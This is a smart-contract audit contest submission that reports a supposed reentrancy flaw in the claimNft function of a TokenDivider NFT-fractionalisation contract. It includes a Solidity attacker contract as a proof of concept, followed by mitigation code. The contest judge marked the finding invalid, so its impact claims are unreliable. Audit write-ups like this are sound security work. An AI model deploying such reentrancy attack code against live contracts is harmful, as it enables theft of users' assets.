Pieces Protocol
First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Invalid

Unprotected Reentrancy in NFT Claim Function

swissahman

Summary

The claimNft function in the TokenDivider contract lacks reentrancy protection while performing multiple external calls to untrusted contracts. This vulnerability could allow malicious actors to reenter the contract during NFT claims, potentially leading to unauthorized token claims and state manipulation.

Vulnerability Detail

The claimNft function performs external calls to both ERC20 and ERC721 contracts without implementing reentrancy protection:

function claimNft(address nftAddress) external {
// ... state checks ...
​
// First external call
ERC20ToGenerateNftFraccion(tokenInfo.erc20Address).burnFrom(
msg.sender,
erc20ToMintedAmount[tokenInfo.erc20Address]
);
​
// State updates
balances[msg.sender][tokenInfo.erc20Address] = 0;
erc20ToMintedAmount[tokenInfo.erc20Address] = 0;
​
// Second external call
IERC721(nftAddress).safeTransferFrom(
address(this),
msg.sender,
tokenInfo.tokenId
);
}

Impact

If exploited, this vulnerability could result in:

  1. Double-claiming of NFTs

  2. State inconsistency between fractional tokens and NFTs

  3. Theft of locked NFTs

  4. Permanent contract state corruption

  5. Loss of user funds

Tool Used

Foundry

Proof of Concept

contract ReentrancyAttacker is IERC721Receiver {
TokenDivider target;
address nftAddress;
uint256 tokenId;
bool attacked;
​
constructor(address _target) {
target = TokenDivider(_target);
}
​
function attack(address _nft, uint256 _tokenId) external {
nftAddress = _nft;
tokenId = _tokenId;
target.claimNft(nftAddress);
}
​
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
if (!attacked) {
attacked = true;
// Reenter during NFT transfer
target.claimNft(nftAddress);
}
return this.onERC721Received.selector;
}
}

Attack Scenario

  1. Attacker deploys ReentrancyAttacker contract

  2. Attacker legitimately acquires all fractional tokens for an NFT

  3. Attacker initiates claim through ReentrancyAttacker

  4. During safeTransferFrom, onERC721Received is called

  5. onERC721Received reenters claimNft before state updates complete

  6. Contract state becomes corrupted, potentially allowing:

    • Multiple NFT claims

    • Inconsistent token balances

    • Locked contract state

Recommended Mitigation Steps

  1. Add Reentrancy Guard

contract TokenDivider is ReentrancyGuard {
function claimNft(address nftAddress) external nonReentrant {
// ... existing implementation ...
}
}

  1. Implement Checks-Effects-Interactions Pattern

function claimNft(address nftAddress) external nonReentrant {
// 1. Checks
_validateClaimRequest(nftAddress);
// 2. Effects (State Updates)
_updateStateForClaim(nftAddress);
// 3. Interactions (External Calls)
_executeClaimTransfers(nftAddress);
}

  1. Add State Locking Mechanism

mapping(address => bool) private _claimLocked;
​
modifier claimLock(address nft) {
require(!_claimLocked[nft], "Claim in progress");
_claimLocked[nft] = true;
_;
_claimLocked[nft] = false;
}

  1. Complete Implementation Example

function claimNft(
address nftAddress
) external nonReentrant claimLock(nftAddress) {
// Load state
ERC20Info storage tokenInfo = nftToErc20Info[nftAddress];
uint256 totalSupply = erc20ToMintedAmount[tokenInfo.erc20Address];
// Validate
require(totalSupply > 0, "Nothing to claim");
require(
balances[msg.sender][tokenInfo.erc20Address] == totalSupply,
"Must own all fractions"
);
// Update state first
delete balances[msg.sender][tokenInfo.erc20Address];
delete erc20ToMintedAmount[tokenInfo.erc20Address];
delete nftToErc20Info[nftAddress];
// Then perform external calls
ERC20ToGenerateNftFraccion(tokenInfo.erc20Address).burnFrom(
msg.sender,
totalSupply
);
IERC721(nftAddress).safeTransferFrom(
address(this),
msg.sender,
tokenInfo.tokenId
);
emit NftClaimed(nftAddress, msg.sender, tokenInfo.tokenId, totalSupply);
}

Additional Recommendations

  1. Consider implementing a pausable mechanism for emergency situations

  2. Add comprehensive event logging for all critical operations

  3. Implement timelock for large value transfers

  4. Add claim cooldown period to prevent rapid claiming attempts

  5. Consider using proxy patterns for contract upgradeability

Updates

Lead Judging Commences

fishy Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.